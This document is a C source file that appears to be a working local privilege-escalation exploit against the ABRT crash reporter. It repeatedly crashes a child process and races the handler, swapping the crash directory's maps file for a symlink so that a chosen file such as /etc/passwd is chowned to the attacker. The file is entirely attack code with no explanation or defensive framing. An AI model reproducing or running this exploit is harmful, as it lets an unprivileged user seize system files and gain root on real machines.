#include <stdlib.h>
#include <unistd.h>
#include <stdbool.h>
#include <stdio.h>
#include <signal.h>
#include <err.h>
#include <string.h>
#include <alloca.h>
#include <limits.h>
#include <sys/inotify.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
static const char kAbrtPrefix[] = "/var/tmp/abrt/" ;
static const size_t kMaxEventBuf = 8192;
static const size_t kUnlinkAttempts = 8192 * 2;
static const int kCrashDelay = 10000;
static pid_t create_abrt_events( const char *name);
int main( int argc, char **argv)
{
int fd, i;
int watch;
pid_t child;
struct stat statbuf;
struct inotify_event *ev;
char *eventbuf = alloca(kMaxEventBuf);
ssize_t size;
if (argc != 2) {
errx(EXIT_FAILURE, "please specify filename to chown (e.g. /etc/passwd)" );
}
if (strcmp(argv[1], "crash" ) == 0) {
__builtin_trap();
}
if ((fd = inotify_init()) < 0) {
err(EXIT_FAILURE, "unable to initialize inotify" );
}
if ((watch = inotify_add_watch(fd, kAbrtPrefix, IN_CREATE)) < 0) {
err(EXIT_FAILURE, "failed to create new watch descriptor" );
}
if ((child = create_abrt_events(*argv)) == -1) {
err(EXIT_FAILURE, "failed to generate abrt reports" );
}
while ((size = read(fd, eventbuf, kMaxEventBuf)) > 0) {
for (ev = eventbuf; ev < eventbuf + size; ev = &ev->name[ev->len]) {
char dirname[NAME_MAX];
char mapsname[NAME_MAX];
char command[1024];
if (strncmp(ev->name, "ccpp" , 4) != 0) {
continue ;
}
strncpy(dirname, kAbrtPrefix, sizeof dirname);
strncat(dirname, ev->name, sizeof dirname);
strncpy(mapsname, dirname, sizeof dirname);
strncat(mapsname, "/maps" , sizeof mapsname);
fprintf(stderr, "Detected %s, attempting to race...\n" , ev->name);
while (access(dirname, F_OK) == 0) {
for (i = 0; i < kUnlinkAttempts; i++) {
if (unlink(mapsname) != 0) {
continue ;
}
if (symlink(argv[1], mapsname) != 0) {
break ;
}
usleep(10);
if (stat(argv[1], &statbuf) != 0) {
errx(EXIT_FAILURE, "unable to stat target file %s" , argv[1]);
}
if (statbuf.st_uid != getuid()) {
break ;
}
fprintf(stderr, "\tExploit successful...\n" );
sprintf(command, "ls -l %s" , argv[1]);
system(command);
return EXIT_SUCCESS;
}
}
fprintf(stderr, "\tDidn't win, trying again!\n" );
}
}
err(EXIT_FAILURE, "failed to read inotify event" );
}
static pid_t create_abrt_events( const char *name)
{
char *newname;
int status;
pid_t child, pid;
if ((child = fork()) != 0)
return child;
prctl(PR_SET_PDEATHSIG, SIGKILL);
while ( true ) {
newname = tmpnam(0);
usleep(kCrashDelay);
if ((pid = fork()) == 0) {
if (link(name, newname) != 0) {
err(EXIT_FAILURE, "failed to create a new exename" );
}
execl(newname, newname, "crash" , NULL);
err(EXIT_FAILURE, "unexpected execve failure" );
}
if (waitpid(pid, &status, 0) != pid) {
err(EXIT_FAILURE, "waitpid failure" );
}
if (unlink(newname) != 0) {
err(EXIT_FAILURE, "failed to clean up" );
}
if (!WIFSIGNALED(status)) {
errx(EXIT_FAILURE, "something went wrong" );
}
}
return child;
}
|